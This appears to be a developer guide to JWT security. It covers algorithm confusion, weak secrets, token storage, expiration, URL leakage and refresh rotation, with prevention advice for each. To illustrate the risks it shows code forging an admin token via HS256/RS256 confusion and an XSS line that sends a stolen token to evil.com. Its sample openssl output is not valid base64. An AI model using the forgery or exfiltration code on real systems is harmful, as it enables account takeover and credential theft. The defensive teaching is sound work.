JWT Security Best Practices: Common Vulnerabilities
Why JWT Security Matters
JSON Web Tokens are widely used for authentication — and widely misused. A compromised JWT can grant an attacker full access to user accounts, API endpoints, and sensitive data. Unlike session-based auth, a JWT is self-contained: once issued, it remains valid until it expires, unless you actively revoke it.
This makes securing JWTs fundamentally different from securing sessions. A stolen session ID becomes useless the moment the server destroys the session. A stolen JWT remains valid for its entire lifetime.
Vulnerability 1: Algorithm Confusion Attack
This is the most dangerous JWT vulnerability — and the easiest to exploit.
How It Works
- A server issues JWTs signed with RS256 (asymmetric — private key signs, public key verifies)
- An attacker changes the header
algtoHS256(symmetric — same secret signs and verifies) - The attacker signs the token using the public key as the HMAC secret
- The server, trusting the
algheader, switches to HMAC verification and uses the public key as the secret - The signature matches — the attacker's forged token is accepted
// Attacker crafts a malicious token
const forgedHeader = { alg: "HS256", typ: "JWT" };
const forgedPayload = { sub: "admin", role: "superuser" };
// Signs with the publicly available RSA public key as HMAC secret
const signature = HMACSHA256(
base64UrlEncode(forgedHeader) + "." + base64UrlEncode(forgedPayload),
publicKey // Public key is... public
);
Prevention
- Always enforce the expected algorithm server-side. Never trust the
algclaim from the token. - If you use RS256, explicitly verify that
alg === "RS256"before processing. - Libraries like
python-jose,jjwt, andnode-joseprovide options to restrict allowed algorithms.
// Bad: trusts the alg from the token
jwt.verify(token, publicKey);
// Good: enforces the expected algorithm
jwt.verify(token, publicKey, { algorithms: ["RS256"] });
Vulnerability 2: Weak Secret Keys
HMAC-based JWTs (HS256, HS384, HS512) are only as strong as the secret used to sign them.
The Problem
Many developers use short, guessable secrets:
// Dangerously weak secrets
const secret = "secret";
const secret = "my-app-key";
const secret = "password123";
Attackers can crack these with brute-force or dictionary attacks in seconds using tools like jwt-cracker or hashcat.
Prevention
- Use at least 256 bits (32 bytes) of cryptographically random data for HS256
- Generate secrets with a secure random generator — never use human-readable strings
# Generate a strong secret with OpenSSL
openssl rand -base64 32
# Output: xJ3k9$mN2pQ7vR1wY5tA8bC4dF6gH0iL
- Rotate secrets periodically — if a secret leaks, every token signed with it is compromised
- Consider RS256 or ES256 instead of HS256 for production systems
Vulnerability 3: Insecure Token Storage
Where you store JWTs on the client determines how easily an attacker can steal them.
localStorage: A Common and Dangerous Choice
// NEVER do this in production
localStorage.setItem('token', jwt);
Why it's dangerous: Any XSS vulnerability — in your code or a third-party script — can read localStorage and exfiltrate the token.
// An attacker injects this via XSS
const stolen = localStorage.getItem('token');
fetch('https://evil.com/steal?token=' + stolen);
The Recommended Approach: HttpOnly Cookies
Store JWTs in HttpOnly, Secure, SameSite cookies:
| Flag | What It Does |
|---|---|
HttpOnly | JavaScript cannot access the cookie — blocks XSS theft |
Secure | Cookie only sent over HTTPS — blocks network interception |
SameSite=Strict (or Lax) | Cookie not sent on cross-origin requests — blocks CSRF |
Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
CSRF Protection for Cookies
Cookies are vulnerable to CSRF attacks. Pair them with a CSRF token:
- Server sends a CSRF token in the response body
- Client includes the CSRF token in a custom header (e.g.,
X-CSRF-Token) - Server verifies both the cookie JWT and the CSRF header
Vulnerability 4: Missing or Excessive Token Expiration
No Expiration
A JWT without an exp claim never expires. If it's stolen, the attacker has persistent access.
{
"sub": "user123",
"role": "admin"
}
Expiration Too Long
A 30-day token lifetime means a stolen token is valid for 30 days — far too long for sensitive applications.
Best Practices
- Access tokens: 5–15 minutes
- Refresh tokens: 7–30 days, stored securely and rotated
- Always include the
expclaim - Validate
expserver-side — never rely on the client to check expiration
{
"sub": "user123",
"iat": 1516239022,
"exp": 1516239322
}
Vulnerability 5: Token Leakage in URLs
JWTs sometimes travel in URL query parameters:
https://api.example.com/data?token=eyJhbG...
Problems:
- Tokens appear in server access logs
- Tokens appear in browser history
- Tokens appear in Referer headers when navigating to external sites
- Tokens can be copied and shared accidentally
Prevention
- Send tokens in the
Authorizationheader instead - Use cookies for browser-based applications
- Never put JWTs in URLs
// Good: send via header
fetch('/api/data', {
headers: { 'Authorization': `Bearer ${token}` }
});
Token Refresh and Rotation Strategies
Access + Refresh Token Pattern
Use two tokens with different lifetimes and purposes:
| Token | Lifetime | Purpose | Storage |
|---|---|---|---|
| Access Token | 5–15 min | Authorize API requests | Memory (or HttpOnly cookie) |
| Refresh Token | 7–30 days | Obtain new access tokens | HttpOnly cookie only |
Refresh Token Rotation
Every time a refresh token is used, issue a new refresh token and invalidate the old one:
1. Client sends refresh token A
2. Server validates A → issues access token + refresh token B
3. Server invalidates A
4. If token A is used again → possible theft detected → revoke all tokens for that user
This limits the window of exploitation and provides theft detection.
Token Revocation
JWTs are stateless by design, which makes revocation hard. Practical solutions:
- Short access token lifetimes: The simplest approach — compromised tokens expire quickly
- Token blacklist: Store revoked token IDs (jti) in a fast store like Redis
- User-level revocation: Store a token version per user; increment it to revoke all existing tokens
Security Checklist
| Check | Status |
|---|---|
| Algorithm is enforced server-side, not read from the token | ☐ |
| HMAC secrets are at least 256 bits and randomly generated | ☐ |
| Tokens are stored in HttpOnly cookies, not localStorage | ☐ |
exp claim is set and validated server-side | ☐ |
| Access tokens expire in 15 minutes or less | ☐ |
| Refresh tokens are rotated on each use | ☐ |
| Tokens are never placed in URLs | ☐ |
aud and iss claims are validated | ☐ |
| CSRF protection is in place when using cookies | ☐ |
| A revocation strategy exists for emergencies | ☐ |
Related Guides
Try It Yourself
Inspect your JWTs for security issues using our free JWT Decoder. Check the algorithm, claims, and expiration — all decoded locally in your browser with zero data sent to any server.